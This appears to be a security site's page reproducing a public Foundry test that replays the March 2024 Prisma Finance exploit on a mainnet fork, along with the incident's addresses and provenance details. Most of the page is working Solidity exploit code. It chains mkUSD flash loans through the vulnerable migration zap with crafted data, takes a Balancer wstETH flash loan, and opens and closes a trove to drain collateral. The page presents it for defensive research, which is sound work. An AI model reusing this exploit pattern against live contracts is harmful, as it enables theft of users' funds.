Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/Prisma_exp.sol

Public reproduction file for dataset entry PrismaFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/Prisma_exp.sol215 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import {Test, console2} from "forge-std/Test.sol";
5
6// @KeyInfo - Total Lost: ~$11M
7// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202
8// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c
9// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee
10// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7
12// @Analyses
13// https://twitter.com/EXVULSEC/status/1773371049951797485
14// https://twitter.com/PrismaFi/status/1773371030129524957
16/////////////////////////////////////// Interfaces ///////////////////////////////////////
18interface IERC20 {
19 event Approval(address indexed owner, address indexed spender, uint256 value);
20 event Transfer(address indexed from, address indexed to, uint256 value);
22 function name() external view returns (string memory);
23 function symbol() external view returns (string memory);
24 function decimals() external view returns (uint8);
25 function totalSupply() external view returns (uint256);
26 function balanceOf(
27 address owner
28 ) external view returns (uint256);
29 function allowance(address owner, address spender) external view returns (uint256);
31 function approve(address spender, uint256 value) external returns (bool);
32 function transfer(address to, uint256 value) external returns (bool);
33 function transferFrom(address from, address to, uint256 value) external returns (bool);
36interface IMKUSDLoan {
37 function flashLoan(
38 IERC3156FlashBorrower receiver,
39 address token,
40 uint256 amount,
41 bytes calldata data
42 ) external returns (bool);
45interface IERC3156FlashBorrower {
46 function onFlashLoan(
47 address initiator,
48 address token,
49 uint256 amount,
50 uint256 fee,
51 bytes calldata data
52 ) external returns (bytes32);
55interface IBorrowerOperations {
56 function setDelegateApproval(address _delegate, bool _isApproved) external;
58 function openTrove(
59 address troveManager,
60 address account,
61 uint256 _maxFeePercentage,
62 uint256 _collateralAmount,
63 uint256 _debtAmount,
64 address _upperHint,
65 address _lowerHint
66 ) external;
68 function closeTrove(address troveManager, address account) external;
71interface IPriceFeed {
72 function fetchPrice(
73 address _token
74 ) external returns (uint256);
77interface IBalancerVault {
78 function flashLoan(
79 address recipient,
80 address[] memory tokens,
81 uint256[] memory amounts,
82 bytes memory userData
83 ) external;
86contract PrismaExploit is Test {
87 IBalancerVault public vault;
88 IPriceFeed public priceFeed;
90 address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
91 address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28;
92 address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE;
93 address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719;
94 address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6;
95 address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A;
96 address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F;
98 bytes32 private constant attackTx = hex"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7";
100 function setUp() public {
101 // set up the fork
102 vm.createSelectFork("mainnet", attackTx);
104 // chainlink price feed and balancer vault
105 priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac);
106 vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
107 }
109 /////////////////////////////////////// Interfaces ///////////////////////////////////////
111 function test_exploit() public {
112 uint256 price = priceFeed.fetchPrice(wstETH);
113 console2.log("Price Feed Price: ", price);
115 // start with ~1800 mkUSD
116 deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);
118 console2.log("Attacker start with ~1800 mkUSD: ", IERC20(mkUSD).balanceOf(address(this)));
119 console2.log("start with wstETH balance before attack : ", IERC20(wstETH).balanceOf(address(this)));
121 // get mkUSD loan
123 // address account,
124 // address troveManagerFrom,
125 // address troveManagerTo,
126 // uint256 maxFeePercentage,
127 // uint256 coll,
128 // address upperHint,
129 // address lowerHint
131 // data
132 // bytes memory data = hex"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";
134 uint256 amount = 1_442_100_643_475_620_087_665_721;
136 address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;
137 address troveManagerFrom = address(TroveManager);
138 address troveManagerTo = address(TroveManager);
139 uint256 maxFeePercentage = 5_000_000_325_833_471;
140 uint256 coll = 463_184_447_350_099_685_758;
142 bytes memory data = abi.encode(
143 account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
144 );
146 IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);
148 address[] memory tokens = new address[](1);
149 tokens[0] = address(wstETH);
151 uint256[] memory amounts = new uint256[](1);
152 amounts[0] = 1_000_000_000_000_000_000;
154 uint256[] memory feeAmounts = new uint256[](1);
155 feeAmounts[0] = 0;
157 // get balancer wstETH loan
158 vault.flashLoan(address(this), tokens, amounts, abi.encode(""));
159 }
161 function receiveFlashLoan(
162 IERC20[] memory, /* tokens */
163 uint256[] memory, /* amounts */
164 uint256[] memory, /* feeAmounts */
165 bytes memory /* userData */
166 ) external {
167 // approve borowOperations to spend wstETH with max amount
168 IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max);
170 // set delegate approval
171 IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);
173 // // open trove
174 IBorrowerOperations(BorrowerOperations).openTrove(
175 address(TroveManager),
176 address(this),
177 5_000_000_325_833_471,
178 1_000_000_000_000_000_000,
179 2_000_000_000_000_000_000_000,
180 address(upperHint),
181 address(lowerHint)
182 );
184 // // another mkUSD loan
185 // // // data
186 // bytes memory data = hex"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";
188 uint256 amount = 2_000_000_000_000_000_000_000;
190 address account = address(this);
191 address troveManagerFrom = address(TroveManager);
192 address troveManagerTo = address(TroveManager);
193 uint256 maxFeePercentage = 5_000_000_325_833_471;
194 uint256 coll = 1_282_797_208_306_130_557_587;
196 bytes memory data = abi.encode(
197 account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
198 );
200 IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);
202 // cuurent contract mkUSD balance
203 // console2.log("mkUSD balance before closing the trove: ", IERC20(mkUSD).balanceOf(address(this)));
205 // close trove
206 IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));
208 uint256 returnAmount = 1_000_000_000_000_000_000;
209 // transfer the wstETH loan back to the vault
210 IERC20(wstETH).transfer(address(vault), returnAmount);
212 // current contract wstETH balance
213 console2.log("wstETH balance ~1281.79 ETH after attack: ", IERC20(wstETH).balanceOf(address(this)));
214 }

Analysis

Dataset entry

Public Foundry test for “PrismaFi” (2024-03-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202

  • Attack Contract

    0xd996073019c74b2fb94ead236e32032405bc027c

  • Vulnerable Contract

    0xcc7218100da61441905e0c327749972e3cbee9ee

  • Attack Tx

    0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7

File record

Name
PrismaFi
Path
src/test/2024-03/Prisma_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
32efcad22bd3879b6527a4de8a02de5beed4f479
Language
Solidity
Size
216 lines
Date
2024-03-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/Prisma_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 32efcad22bd3879b6527a4de8a02de5beed4f479, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.